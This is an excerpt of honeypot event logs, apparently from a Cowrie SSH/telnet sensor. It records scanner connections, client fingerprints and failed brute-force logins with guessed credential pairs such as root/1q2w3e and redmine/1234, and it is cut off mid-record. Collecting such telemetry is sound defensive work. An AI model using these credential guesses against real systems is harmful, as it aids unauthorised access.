{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62762,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc9dcfe72503","protocol":"ssh","message":"New connection: 152.42.212.128:62762 (159.203.135.109:22) [session: dc9dcfe72503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:00.237930Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:00.243746Z","src_ip":"152.42.212.128","session":"dc9dcfe72503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:00.248276Z","src_ip":"152.42.212.128","session":"dc9dcfe72503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44260,"dst_ip":"10.17.0.5","dst_port":22,"session":"641eec52d038","protocol":"ssh","message":"New connection: 193.32.162.145:44260 (10.17.0.5:22) [session: 641eec52d038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:03.071034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:03.075300Z","src_ip":"193.32.162.145","session":"641eec52d038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:03.175836Z","src_ip":"193.32.162.145","session":"641eec52d038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:03.474547Z","src_ip":"193.32.162.145","session":"641eec52d038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:04.576029Z","src_ip":"193.32.162.145","session":"641eec52d038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42360,"dst_ip":"10.17.0.5","dst_port":23,"session":"acb86d84a449","protocol":"telnet","message":"New connection: 152.42.224.71:42360 (10.17.0.5:23) [session: acb86d84a449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:07.401122Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":49394,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a685bc85def","protocol":"ssh","message":"New connection: 43.153.124.153:49394 (10.17.0.5:22) [session: 6a685bc85def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:08.262719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:08.272053Z","src_ip":"43.153.124.153","session":"6a685bc85def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:08.340710Z","src_ip":"43.153.124.153","session":"6a685bc85def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e","message":"login attempt [root/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:08.647425Z","src_ip":"43.153.124.153","session":"6a685bc85def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:09.719103Z","src_ip":"43.153.124.153","session":"6a685bc85def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":47224,"dst_ip":"10.17.0.5","dst_port":23,"session":"8049660334fa","protocol":"telnet","message":"New connection: 18.218.118.203:47224 (10.17.0.5:23) [session: 8049660334fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:09.732771Z"}
{"eventid":"cowrie.session.closed","duration":0.032842159271240234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:09.765496Z","src_ip":"18.218.118.203","session":"8049660334fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":57526,"dst_ip":"10.17.0.5","dst_port":22,"session":"11f060279159","protocol":"ssh","message":"New connection: 58.186.20.143:57526 (10.17.0.5:22) [session: 11f060279159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:10.540416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:10.544700Z","src_ip":"58.186.20.143","session":"11f060279159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:10.794848Z","src_ip":"58.186.20.143","session":"11f060279159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morita","message":"login attempt [root/morita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:11.828093Z","src_ip":"58.186.20.143","session":"11f060279159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42374,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bb6eceac992","protocol":"telnet","message":"New connection: 152.42.224.71:42374 (10.17.0.5:23) [session: 1bb6eceac992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:11.836083Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:13.086038Z","src_ip":"58.186.20.143","session":"11f060279159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47600,"dst_ip":"10.17.0.5","dst_port":23,"session":"57b7a25017ec","protocol":"telnet","message":"New connection: 152.42.224.71:47600 (10.17.0.5:23) [session: 57b7a25017ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:17.205593Z"}
{"eventid":"cowrie.session.closed","duration":42.47552537918091,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:18.400304Z","src_ip":"152.42.224.71","session":"6c620c0957e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":37978,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a521e8c85cb","protocol":"ssh","message":"New connection: 43.128.111.187:37978 (159.203.135.109:22) [session: 9a521e8c85cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:19.336692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:19.341214Z","src_ip":"43.128.111.187","session":"9a521e8c85cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:19.578379Z","src_ip":"43.128.111.187","session":"9a521e8c85cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redmine","password":"1234","message":"login attempt [redmine/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:20.557649Z","src_ip":"43.128.111.187","session":"9a521e8c85cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:21.798136Z","src_ip":"43.128.111.187","session":"9a521e8c85cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.389777660369873,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:27.225799Z","src_ip":"152.42.224.71","session":"1bb6eceac992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":52780,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1aa17b07d58","protocol":"ssh","message":"New connection: 79.132.141.112:52780 (10.17.0.5:22) [session: f1aa17b07d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:28.721068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:28.726751Z","src_ip":"79.132.141.112","session":"f1aa17b07d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:28.815259Z","src_ip":"79.132.141.112","session":"f1aa17b07d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"omsagent","message":"login attempt [root/omsagent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:29.198265Z","src_ip":"79.132.141.112","session":"f1aa17b07d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":35414,"dst_ip":"10.17.0.5","dst_port":22,"session":"e581dc4fa6a2","protocol":"ssh","message":"New connection: 43.153.69.201:35414 (10.17.0.5:22) [session: e581dc4fa6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:30.072403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:30.076867Z","src_ip":"43.153.69.201","session":"e581dc4fa6a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:30.144695Z","src_ip":"43.153.69.201","session":"e581dc4fa6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:30.288793Z","src_ip":"79.132.141.112","session":"f1aa17b07d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poop","message":"login attempt [root/poop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:30.449792Z","src_ip":"43.153.69.201","session":"e581dc4fa6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":41884,"dst_ip":"10.17.0.5","dst_port":22,"session":"738dfbdfc883","protocol":"ssh","message":"New connection: 170.106.119.118:41884 (10.17.0.5:22) [session: 738dfbdfc883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:30.679013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:30.687142Z","src_ip":"170.106.119.118","session":"738dfbdfc883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:30.755573Z","src_ip":"170.106.119.118","session":"738dfbdfc883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456..","message":"login attempt [root/Aa123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:31.059837Z","src_ip":"170.106.119.118","session":"738dfbdfc883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:31.521368Z","src_ip":"43.153.69.201","session":"e581dc4fa6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:32.131782Z","src_ip":"170.106.119.118","session":"738dfbdfc883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.56670904159546,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:33.261430Z","src_ip":"152.42.224.71","session":"35a8f1e08fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":44922,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d3bb4b8585d","protocol":"ssh","message":"New connection: 59.17.95.129:44922 (159.203.135.109:22) [session: 0d3bb4b8585d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:36.277863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:36.282237Z","src_ip":"59.17.95.129","session":"0d3bb4b8585d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecds